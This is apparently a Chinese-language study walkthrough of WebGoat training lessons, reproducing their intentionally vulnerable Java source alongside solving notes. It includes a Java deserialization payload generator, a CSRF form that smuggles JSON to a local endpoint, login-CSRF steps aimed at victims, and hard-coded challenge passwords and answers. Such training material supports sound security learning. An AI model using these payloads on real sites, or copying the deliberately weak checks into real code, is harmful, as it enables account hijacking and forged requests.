package com.wanan.dummy.insecure.framework;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.util.Base64;public class Unserlize { public static void main (String[] args) throws Exception { VulnerableTaskHolder vulnerableTaskHolder = new VulnerableTaskHolder ("ping" ,"ping -n 4 127.0.0.1" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(vulnerableTaskHolder); byte [] bytes = byteArrayOutputStream.toByteArray(); System.out.println(Base64.getEncoder().encodeToString(bytes)); } }
填进去就过关
logging LogSpoofing package com.wanan.webgoat.lessons.logging;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class LogSpoofing extends Lesson { @Override protected Category getDefaultCategory () { return Category.A9; } @Override public String getTitle () { return "logging.title" ; } }
LogSpoofingTask package com.wanan.webgoat.lessons.logging;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.apache.logging.log4j.util.Strings;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController public class LogSpoofingTask extends AssignmentEndpoint { @PostMapping("/LogSpoofing/log-spoofing") @ResponseBody public AttackResult completed (@RequestParam String username,@RequestParam String password) { if (Strings.isEmpty(username)){ return failed(this ).output(username).build(); } username = username.replace("\n" ,"<br/>" ); if (username.contains("<p>" ) || username.contains("<div>" )){ return failed(this ).output("Try to think of something simple " ).build(); } if (username.indexOf("<br/>" ) < username.indexOf("admin" )){ return success(this ).output(username).build(); } return failed(this ).output(username).build(); } }
没看懂这关要干嘛 输admin 就过
LogBleedingTask package com.wanan.webgoat.lessons.logging;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.apache.logging.log4j.util.Strings;import org.slf4j.Logger;import org.slf4j.LoggerFactory;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import javax.annotation.PostConstruct;import java.nio.charset.StandardCharsets;import java.util.Base64;import java.util.UUID;@RestController public class LogBleedingTask extends AssignmentEndpoint { Logger log = LoggerFactory.getLogger(this .getClass().getName()); private String password; @PostConstruct public void generatePassword () { password = UUID.randomUUID().toString(); log.info("Password for admin: {}" , Base64.getEncoder().encodeToString(password.getBytes(StandardCharsets.UTF_8))); } @PostMapping("/LogSpoofing/log-bleeding") @ResponseBody public AttackResult completed (@RequestParam String username,@RequestParam String password) { if (Strings.isEmpty(username) || Strings.isEmpty(password)){ return failed(this ).output("Please provide username (Admin) and password" ).build(); } if (username.equals("Admin" ) && password.equals(this .password)){ return success(this ).build(); } return failed(this ).build(); } }
这里让我们查日志 其实应该器linux机器上面查的 这里就先不搞了
csrf CSRF package com.wanan.webgoat.lessons.csrf;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class CSRF extends Lesson { @Override protected Category getDefaultCategory () { return Category.A10; } @Override public String getTitle () { return "csrf.title" ; } }
CSRFConfirmFlag1 package com.wanan.webgoat.lessons.csrf;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.UserSessionData;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController @AssignmentHints({"csrf-get.hint1", "csrf-get.hint2", "csrf-get.hint3", "csrf-get.hint4"}) public class CSRFConfirmFlag1 extends AssignmentEndpoint { @Autowired UserSessionData userSessionData; @PostMapping(path = "/csrf/confirm-flag-1",produces = {"application/json"}) @ResponseBody public AttackResult completed (String confirmFlagVal) { Object userSessionDataStr = userSessionData.getValue("csrf-get-success" ); if (userSessionDataStr != null && confirmFlagVal.equals(userSessionDataStr.toString())){ return success(this ) .feedback("csrf-get-null-referer.success" ) .output("Correct, the flag was " + userSessionData.getValue("csrf-get-success" )) .build(); } return failed(this ).build(); } }
CSRFGetFlag package com.wanan.webgoat.lessons.csrf;import com.wanan.webgoat.container.i18n.PluginMessages;import com.wanan.webgoat.container.session.UserSessionData;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import javax.servlet.http.HttpServletRequest;import java.util.HashMap;import java.util.Map;import java.util.Random;@RestController public class CSRFGetFlag { @Autowired UserSessionData userSessionData; @Autowired private PluginMessages pluginMessages; @RequestMapping(path = "/csrf/basic-get-flag",produces = {"application/json"},method = RequestMethod.POST) @ResponseBody public Map<String,Object> invoke (HttpServletRequest req) { Map<String,Object> response = new HashMap <>(); String host = (req.getHeader("host" ) == null ) ? "NULL" : req.getHeader("host" ); String referer = (req.getHeader("referer" ) == null ) ? "NULL" : req.getHeader("referer" ); String[] refererArr = referer.split("/" ); if (referer.equals("NULL" )){ if ("true" .equals(req.getParameter("csrf" ))){ Random random = new Random (); userSessionData.setValue("csrf-get-success" ,random.nextInt(65536 )); response.put("success" ,true ); response.put("message" ,pluginMessages.getMessage("csrf-get-null-referer.success" )); response.put("flag" ,userSessionData.getValue("csrf-get-success" )); } }else if (refererArr[2 ].equals(host)){ response.put("success" ,false ); response.put("message" ,"Appears the request came from the original host" ); response.put("flag" ,null ); }else { Random random = new Random (); userSessionData.setValue("csrf-get-success" ,random.nextInt(65536 )); response.put("success" ,null ); response.put("message" ,pluginMessages.getMessage("csrf-get-other-referer.success" )); response.put("flag" ,userSessionData.getValue("csrf-get-success" )); } return response; } }
这里如果直接访问的话就会导致同一个host 这里我们需要做的是将我们写的恶意的链接发送给受害者,而不是让受害者在原先正常的链接上去请求
这里直接截取一个数据包 然后使用burp生成一个csrf表单
我们在本地生成一个csrf.html文件并将内容填入进去
来到webwolf上传文件并获取一个url
然后就是我们需要将这个url发送给受害者去点击 当然这里可以做成自动的点击操作
填入获取到的flag即可
ForgedReviews package com.wanan.webgoat.lessons.csrf;import com.google.common.collect.Lists;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.WebSession;import org.joda.time.DateTime;import org.joda.time.format.DateTimeFormat;import org.joda.time.format.DateTimeFormatter;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.http.MediaType;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import javax.servlet.http.HttpServletRequest;import java.util.*;import static org.springframework.http.MediaType.ALL_VALUE;@RestController @AssignmentHints({"csrf-review-hint1", "csrf-review-hint2", "csrf-review-hint3"}) public class ForgedReviews extends AssignmentEndpoint { @Autowired private WebSession webSession; private static DateTimeFormatter fmt = DateTimeFormat.forPattern("yyyy-MM-dd, HH:mm:ss" ); private static final Map<String, List<Review>> userReviews = new HashMap <>(); private static final List<Review> REVIEWS = new ArrayList <>(); private static final String weakAntiCSRF = "2aa14227b9a13d0bede0388a7fba9aa9" ; static { REVIEWS.add(new Review ("secUriTy" , DateTime.now().toString(fmt), "This is like swiss cheese" , 0 )); REVIEWS.add(new Review ("webgoat" , DateTime.now().toString(fmt), "It works, sorta" , 2 )); REVIEWS.add(new Review ("guest" , DateTime.now().toString(fmt), "Best, App, Ever" , 5 )); REVIEWS.add(new Review ("guest" , DateTime.now().toString(fmt), "This app is so insecure, I didn't even post this review, can you pull that off too?" , 1 )); } @GetMapping(path = "/csrf/review",produces = MediaType.APPLICATION_JSON_VALUE,consumes = ALL_VALUE) @ResponseBody public Collection<Review> retrieveReviews () { Collection<Review> allReviews = Lists.newArrayList(); Collection<Review> newReviews = userReviews.get(webSession.getUserName()); if (newReviews != null ){ allReviews.addAll(newReviews); } allReviews.addAll(REVIEWS); return allReviews; } @PostMapping("/csrf/review") @ResponseBody public AttackResult createNewReview (String reviewText, Integer starts , String validateReq, HttpServletRequest request) { final String host = (request.getHeader("host" ) ==null ) ?"NULL" :request.getHeader("host" ); final String referer = (request.getHeader("referer" ) ==null )?"NULL" :request.getHeader("referer" ); final String[] refererArr =referer.split("/" ); Review review = new Review (); review.setText(reviewText); review.setDateTime(DateTime.now().toString(fmt)); review.setUser(webSession.getUserName()); review.setStars(starts); var reviews = userReviews.getOrDefault(webSession.getUserName(),new ArrayList <>()); reviews.add(review); userReviews.put(webSession.getUserName(),reviews); if (validateReq != "NULL" && refererArr[2 ].equals(host)){ return failed(this ).feedback("csrf-same-host" ).build(); }else { return success(this ).feedback("csrf-review.success" ).build(); } } }
Review package com.wanan.webgoat.lessons.csrf;import lombok.AllArgsConstructor;import lombok.Getter;import lombok.NoArgsConstructor;import lombok.Setter;import javax.xml.bind.annotation.XmlRootElement;@Setter @Getter @AllArgsConstructor @NoArgsConstructor @XmlRootElement public class Review { private String user; private String dateTime; private String text; private Integer stars; }
还是类似的操作
CSRFFeedback package com.wanan.webgoat.lessons.csrf;import com.fasterxml.jackson.databind.DeserializationFeature;import com.fasterxml.jackson.databind.ObjectMapper;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.UserSessionData;import org.apache.commons.lang3.exception.ExceptionUtils;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.http.MediaType;import org.springframework.web.bind.annotation.*;import javax.servlet.http.Cookie;import javax.servlet.http.HttpServletRequest;import java.io.IOException;import java.util.Map;import java.util.UUID;@RestController @AssignmentHints({"csrf-feedback-hint1", "csrf-feedback-hint2", "csrf-feedback-hint3"}) public class CSRFFeedback extends AssignmentEndpoint { @Autowired private UserSessionData userSessionData; @Autowired private ObjectMapper objectMapper; @PostMapping(value = "/csrf/feedback/message",produces = {"application/json"}) @ResponseBody public AttackResult completed (HttpServletRequest request , @RequestBody String feedback) { try { objectMapper.enable(DeserializationFeature.FAIL_ON_IGNORED_PROPERTIES); objectMapper.enable(DeserializationFeature.FAIL_ON_NULL_FOR_PRIMITIVES); objectMapper.enable(DeserializationFeature.FAIL_ON_NUMBERS_FOR_ENUMS); objectMapper.enable(DeserializationFeature.FAIL_ON_READING_DUP_TREE_KEY); objectMapper.enable(DeserializationFeature.FAIL_ON_MISSING_CREATOR_PROPERTIES); objectMapper.enable(DeserializationFeature.FAIL_ON_TRAILING_TOKENS); objectMapper.readValue(feedback.getBytes(), Map.class); }catch (IOException e){ return failed(this ).feedback(ExceptionUtils.getStackTrace(e)).build(); } boolean correctCSRF = requestContainsWebGoatCookie(request.getCookies()) && request.getContentType().contains(MediaType.TEXT_PLAIN_VALUE); correctCSRF &= hostOrRefererDifferentHost(request); if (correctCSRF){ String flag = UUID.randomUUID().toString(); userSessionData.setValue("csrf-feedback" ,flag); return success(this ).feedback("csrf-feedback-success" ).feedbackArgs(flag).build(); } return failed(this ).build(); } @PostMapping(path = "/csrf/feedback", produces = "application/json") @ResponseBody public AttackResult flag (@RequestParam("confirmFlagVal") String flag) { if (flag.equals(userSessionData.getValue("csrf-feedback" ))) { return success(this ).build(); } else { return failed(this ).build(); } } private boolean hostOrRefererDifferentHost (HttpServletRequest request) { String referer = request.getHeader("Referer" ); String host = request.getHeader("Host" ); if (referer != null ){ return !referer.contains(host); }else { return true ; } } private boolean requestContainsWebGoatCookie (Cookie[] cookies) { if (cookies != null ){ for (Cookie c : cookies){ if (c.getName().equals("JSESSIONID" )){ return true ; } } } return false ; } }
这里很明显需要发送的是json格式的数据
我们先按照之前的步骤走走看
这里就发现发送的请求就很奇怪 多了个= 我们看看怎么回事
这里有一个name 和 一个 value 其中的value 是空 也就是导致构造出来的post 表单是 (name) = 这种形式 因此导致多出个 =
这里我们进行构造 可以看到这里我们把这个系统添加的 = 给利用进去了
<html > <body > <script > history.pushState ('' , '' , '/' ) </script > <form action ="http://127.0.0.1:8081/WebGoat/csrf/feedback/message" method ="POST" encType ="text/plain" > <input type ="hidden" name =' {"name":"WebGoat","email":"webgoat@webgoat.org","subject":"na","message":"WebGoat is the best!!' value ='"}' /> <input type ="submit" value ="Submit request" /> </form > </body > </html >
我们重新发送看看
CSRFLogin package com.wanan.webgoat.lessons.csrf;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.users.UserTracker;import com.wanan.webgoat.container.users.UserTrackerRepository;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import javax.servlet.http.HttpServletRequest;@RestController @AssignmentHints({"csrf-login-hint1", "csrf-login-hint2", "csrf-login-hint3"}) public class CSRFLogin extends AssignmentEndpoint { private final UserTrackerRepository userTrackerRepository; public CSRFLogin (UserTrackerRepository userTrackerRepository) { this .userTrackerRepository = userTrackerRepository; } @PostMapping(path = "/csrf/login",produces = {"application/json"}) @ResponseBody public AttackResult completed (HttpServletRequest request) { String userName = request.getUserPrincipal().getName(); if (userName.startsWith("csrf" )){ markAssignmentSolvedWithRealUser(userName); return success(this ).feedback("csrf-login-success" ).build(); } return failed(this ).feedback("csrf-login-failed" ).feedbackArgs(userName).build(); } private void markAssignmentSolvedWithRealUser (String userName) { UserTracker userTracker = userTrackerRepository.findByUser(userName); userTracker.assignmentSolved(getWebSession().getCurrentLesson(), this .getClass().getSimpleName()); userTrackerRepository.save(userTracker); } }
这里的csrf 是在测试webgoat的登录界面是否存在csrf漏洞
注册一个以cstf开头的用户名 其中的密码是你自己设置的
在登录时创建一个 csrf.html
上传 将链接发送给受害者
当受害者点击 链接的时候就登录了 我们 csrf-123456 这个账号了
也就是说这里 如果受害者没有发现这个账号不是他本人的 那么他的操作都会被我们给记录下来
ssrf SSRF package com.wanan.webgoat.lessons.ssrf;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class SSRF extends Lesson { @Override protected Category getDefaultCategory () { return Category.A10; } @Override public String getTitle () { return "ssrf.title" ; } }
SSRFTask1 package com.wanan.webgoat.lessons.ssrf;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController @AssignmentHints({"ssrf.hint1", "ssrf.hint2"}) public class SSRFTask1 extends AssignmentEndpoint { @PostMapping("/SSRF/task1") @ResponseBody public AttackResult completed (@RequestParam String url) { return stealTheCheese(url); } protected AttackResult stealTheCheese (String url) { try { StringBuffer html = new StringBuffer (); if (url.matches("images/tom.png" )){ html.append("<img class=\"image\" alt=\"Tom\" src=\"images/tom.png\" width=\"25%\" height=\"25%\">" ); return failed(this ) .feedback("ssrf.tom" ) .output(html.toString()) .build(); } else if (url.matches("images/jerry.png" )) { html.append("<img class=\"image\" alt=\"Jerry\" src=\"images/jerry.png\" width=\"25%\" height=\"25%\">" ); return success(this ) .feedback("ssrf.success" ) .output(html.toString()) .build(); }else { html.append("<img class=\"image\" alt=\"Silly Cat\" src=\"images/cat.jpg\">" ); return failed(this ) .feedback("ssrf.failure" ) .output(html.toString()) .build(); } }catch (Exception e){ e.printStackTrace(); return failed(this ) .output(e.getMessage()) .build(); } } }
修改url 为 images%2Fjerry.png 过关 ? 这叫ssrf?
SSRFTask2 package com.wanan.webgoat.lessons.ssrf;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.io.IOException;import java.io.InputStream;import java.net.MalformedURLException;import java.net.URL;import java.nio.charset.StandardCharsets;@RestController @AssignmentHints({"ssrf.hint3"}) public class SSRFTask2 extends AssignmentEndpoint { @PostMapping("/SSRF/task2") @ResponseBody public AttackResult completed (@RequestParam String url) { return fulBall(url); } protected AttackResult fulBall (String url) { if (url.matches("http://ifconfig.pro" )){ String html; try (InputStream in = new URL (url).openStream()){ html = new String (in.readAllBytes(), StandardCharsets.UTF_8) .replace("\n" ,"<br>" ); }catch (MalformedURLException e){ return getFailedResult(e.getMessage()); }catch (IOException e){ html = "<html><body>Although the http://ifconfig.pro site is down, you still managed to solve" + " this exercise the right way!</body></html>" ; } return success(this ).feedback("ssrf.success" ) .output(html).build(); } var html = "<img class=\"image\" alt=\"image post\" src=\"images/cat.jpg\">" ; return getFailedResult(html); } private AttackResult getFailedResult (String errorMsg) { return failed(this ).feedback("ssrf.failure" ) .output(errorMsg).build(); } }
bypass_restrictions BypassRestrictions package com.wanan.webgoat.lessons.bypass_restrictions;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class BypassRestrictions extends Lesson { @Override protected Category getDefaultCategory () { return Category.CLIENT_SIDE; } @Override public String getTitle () { return "bypass-restrictions.title" ; } }
BypassRestrictionsFieldRestrictions package com.wanan.webgoat.lessons.bypass_restrictions;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController public class BypassRestrictionsFieldRestrictions extends AssignmentEndpoint { @PostMapping("/BypassRestrictions/FieldRestrictions") @ResponseBody public AttackResult completed (@RequestParam String select,@RequestParam String radio,@RequestParam String checkbox, @RequestParam String shortInput,@RequestParam String readOnlyInput) { if (select.equals("option1" ) || select.equals("option2" )){ return failed(this ).build(); } if (radio.equals("option1" ) || radio.equals("option2" )){ return failed(this ).build(); } if (checkbox.equals("on" ) || checkbox.equals("off" )){ return failed(this ).build(); } if (shortInput.length() <= 5 ){ return failed(this ).build(); } if ("change" .equals(readOnlyInput)){ return failed(this ).build(); } return success(this ).build(); } }
这一关比较简单 但是题目说的不是很清楚
意思就是跳过前段验证
BypassRestrictionsFrontendValidation package com.wanan.webgoat.lessons.bypass_restrictions;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController public class BypassRestrictionsFrontendValidation extends AssignmentEndpoint { @PostMapping("/BypassRestrictions/frontendValidation") @ResponseBody public AttackResult completed (@RequestParam String field1, @RequestParam String field2, @RequestParam String field3, @RequestParam String field4, @RequestParam String field5, @RequestParam String field6, @RequestParam String field7, @RequestParam Integer error) { final String regex1 = "^[a-z]{3}$" ; final String regex2 = "^[0-9]{3}$" ; final String regex3 = "^[a-zA-Z0-9]*$" ; final String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$" ; final String regex5 = "^\\d{5}$" ; final String regex6 = "^\\d{5}(-\\d{4})?$" ; final String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$" ; if (error > 0 ){ return failed(this ).build(); } if (field1.matches(regex1)){ return failed(this ).build(); } if (field2.matches(regex2)){ return failed(this ).build(); } if (field3.matches(regex3)){ return failed(this ).build(); } if (field4.matches(regex4)){ return failed(this ).build(); } if (field5.matches(regex5)){ return failed(this ).build(); } if (field6.matches(regex6)){ return failed(this ).build(); } if (field7.matches(regex7)){ return failed(this ).build(); } return success(this ).build(); } }
这关要绕过正则 记得把error归零
client_side_filtering ClientSideFiltering package com.wanan.webgoat.lessons.client_side_filtering;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class ClientSideFiltering extends Lesson { @Override protected Category getDefaultCategory () { return Category.CLIENT_SIDE; } @Override public String getTitle () { return "client.side.filtering.title" ; } }
ClientSideFilteringAssignment package com.wanan.webgoat.lessons.client_side_filtering;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController @AssignmentHints({"ClientSideFilteringHint1", "ClientSideFilteringHint2", "ClientSideFilteringHint3", "ClientSideFilteringHint4"}) public class ClientSideFilteringAssignment extends AssignmentEndpoint { @PostMapping("/clientSideFiltering/attack1") @ResponseBody public AttackResult completed (@RequestParam String answer) { return "450000" .equals(answer) ? success(this ).feedback("assignment.solved" ).build(): failed(this ).feedback("ClientSideFiltering.incorrect" ).build(); } }
Salaries package com.wanan.webgoat.lessons.client_side_filtering;import lombok.extern.slf4j.Slf4j;import org.springframework.beans.factory.annotation.Value;import org.springframework.core.io.ClassPathResource;import org.springframework.util.FileCopyUtils;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import org.w3c.dom.Node;import org.w3c.dom.NodeList;import org.xml.sax.InputSource;import javax.annotation.PostConstruct;import javax.xml.xpath.XPath;import javax.xml.xpath.XPathConstants;import javax.xml.xpath.XPathExpressionException;import javax.xml.xpath.XPathFactory;import java.io.*;import java.util.ArrayList;import java.util.HashMap;import java.util.List;import java.util.Map;@RestController @Slf4j public class Salaries { @Value("${webgoat.user.directory}") private String webGoatHomeDirectory; @PostConstruct public void copyFiles () { ClassPathResource classPathResource = new ClassPathResource ("lessons/employees.xml" ); File targetDirectory = new File (webGoatHomeDirectory, "/ClientSideFiltering" ); if (!targetDirectory.exists()){ targetDirectory.mkdir(); } try { FileCopyUtils.copy(classPathResource.getInputStream(),new FileOutputStream (new File (targetDirectory,"employees.xml" ))); }catch (IOException e){ throw new RuntimeException (e); } } @GetMapping("clientSideFiltering/salaries") @ResponseBody public List<Map<String,Object>> invoke () { NodeList nodes = null ; File d = new File (webGoatHomeDirectory,"ClientSideFiltering/employees.xml" ); XPathFactory factory = XPathFactory.newInstance(); XPath path = factory.newXPath(); try (InputStream is = new FileInputStream (d)){ InputSource inputStream = new InputSource (is); StringBuffer sb = new StringBuffer (); sb.append("/Employees/Employee/UserID | " ); sb.append("/Employees/Employee/FirstName | " ); sb.append("/Employees/Employee/LastName | " ); sb.append("/Employees/Employee/SSN | " ); sb.append("/Employees/Employee/Salary " ); String expression = sb.toString(); nodes = (NodeList) path.evaluate(expression,inputStream, XPathConstants.NODESET); }catch (XPathExpressionException e){ log.error("Unable to parse xml" ,e); }catch (IOException e){ log.error("Unable to read employees.xml at location: '{}'" ,d); } int columns = 5 ; List json = new ArrayList (); java.util.Map<String,Object> employeeJson = new HashMap <>(); for (int i = 0 ; i < nodes.getLength(); i ++ ){ if (i % columns == 0 ){ employeeJson = new HashMap <>(); json.add(employeeJson); } Node node = nodes.item(i); employeeJson.put(node.getNodeName(),node.getTextContent()); } return json; } }
这里的sb需要对应着xml文件去看
这里需要的是在众多的请求中找到这个请求信息
ClientSideFilteringFreeAssignment package com.wanan.webgoat.lessons.client_side_filtering;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController @AssignmentHints({"client.side.filtering.free.hint1", "client.side.filtering.free.hint2", "client.side.filtering.free.hint3"}) public class ClientSideFilteringFreeAssignment extends AssignmentEndpoint { public static final String SUPER_COUPON_CODE = "get_it_for_free" ; @PostMapping("/clientSideFiltering/getItForFree") @ResponseBody public AttackResult completed (@RequestParam String checkoutCode) { if (SUPER_COUPON_CODE.equals(checkoutCode)){ return success(this ).build(); } return failed(this ).build(); } }
同样找请求信息
html_tampering HtmlTampering package com.wanan.webgoat.lessons.html_tampering;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class HtmlTampering extends Lesson { @Override protected Category getDefaultCategory () { return Category.CLIENT_SIDE; } @Override public String getTitle () { return "html-tampering.title" ; } }
HtmlTamperingTask package com.wanan.webgoat.lessons.html_tampering;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController @AssignmentHints({"hint1", "hint2", "hint3"}) public class HtmlTamperingTask extends AssignmentEndpoint { @PostMapping("/HtmlTampering/task") @ResponseBody public AttackResult completed (@RequestParam String QTY,@RequestParam String Total) { if (Float.parseFloat(QTY) * 2999.99 > Float.parseFloat(Total) +1 ){ return success(this ).feedback("html-tampering.tamper.success" ).build(); } return failed(this ).feedback("html-tampering.tamper.failure" ).build(); } }
没意思
challenges ChallengeIntro package com.wanan.webgoat.lessons.challenges;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;public class ChallengeIntro extends Lesson { @Override protected Category getDefaultCategory () { return Category.CHALLENGE; } @Override public String getTitle () { return "challenge0.title" ; } }
Flag package com.wanan.webgoat.lessons.challenges;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.WebSession;import com.wanan.webgoat.container.users.UserTracker;import com.wanan.webgoat.container.users.UserTrackerRepository;import lombok.AllArgsConstructor;import lombok.Getter;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.http.MediaType;import org.springframework.web.bind.annotation.*;import javax.annotation.PostConstruct;import java.util.HashMap;import java.util.Map;import java.util.UUID;import java.util.stream.IntStream;@RestController public class Flag extends AssignmentEndpoint { public static final Map<Integer,String> FLAGS = new HashMap <>(); @Autowired private UserTrackerRepository userTrackerRepository; @Autowired private WebSession webSession; @AllArgsConstructor private class FlagPosted { @Getter private boolean lessonCompleted; } @PostConstruct public void initFlags () { IntStream.range(1 ,10 ).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString())); } @RequestMapping(path = "/challenge/flag",method = RequestMethod.POST,produces = MediaType.APPLICATION_JSON_VALUE) @ResponseBody public AttackResult postFlag (@RequestParam String flag) { UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); String currentChallenge = webSession.getCurrentLesson().getName(); int challengeNumber = Integer.valueOf(currentChallenge.substring(currentChallenge.length() -1 ,currentChallenge.length())); String expectedFlag = FLAGS.get(challengeNumber); final AttackResult attackResult; if (expectedFlag.equals(flag)){ userTracker.assignmentSolved(webSession.getCurrentLesson(),"Assignment" + challengeNumber); attackResult = success(this ).feedback("challenge.flag.correct" ).build(); }else { userTracker.assignmentFailed(webSession.getCurrentLesson()); attackResult = failed(this ).feedback("challenge.flag.incorrect" ).build(); } userTrackerRepository.save(userTracker); return attackResult; } }
SolutionConstants package com.wanan.webgoat.lessons.challenges;public interface SolutionConstants { String PASSWORD = "!!webgoat_admin_1234!!" ; String PASSWORD_TOM = "thisisasecretfortomonly" ; String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2" ; }
challenge1 Challenge1 package com.wanan.webgoat.lessons.challenges.challenge1;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class Challenge1 extends Lesson { @Override protected Category getDefaultCategory () { return Category.CHALLENGE; } @Override public String getTitle () { return "challenge1.title" ; } }
ImageServlet package com.wanan.webgoat.lessons.challenges.challenge1;import org.springframework.core.io.ClassPathResource;import org.springframework.http.MediaType;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import javax.servlet.http.HttpServlet;import java.io.IOException;import java.security.SecureRandom;import static org.springframework.web.bind.annotation.RequestMethod.GET;import static org.springframework.web.bind.annotation.RequestMethod.POST;@RestController public class ImageServlet extends HttpServlet { private static final long serialVersionUID = 9132775506936676850L ; static final public int PINCODE = new SecureRandom ().nextInt(10000 ); @RequestMapping(method = {GET,POST},value = "/challenge/logo",produces = MediaType.IMAGE_PNG_VALUE) @ResponseBody public byte [] logo() throws IOException{ byte [] in = new ClassPathResource ("lessons/challenges/images/webgoat2.png" ).getInputStream().readAllBytes(); String pincode = String.format("%04d" ,PINCODE); in[81216 ] = (byte )pincode.charAt(0 ); in[81217 ] = (byte )pincode.charAt(1 ); in[81218 ] = (byte )pincode.charAt(2 ); in[81219 ] = (byte )pincode.charAt(3 ); return in; } }
